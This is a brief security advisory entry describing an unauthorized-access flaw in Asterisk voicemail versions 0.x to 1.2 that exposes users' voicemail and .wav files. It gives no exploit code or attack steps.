Asterisk 0.x/1.0/1.2 Voicemail - Unauthorized Access

Asterisk is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly verify user-supplied input.

Successful exploitation will grant an attacker access to a victim user's voicemail and to any '.wav/.WAV' files currently on the affected system.
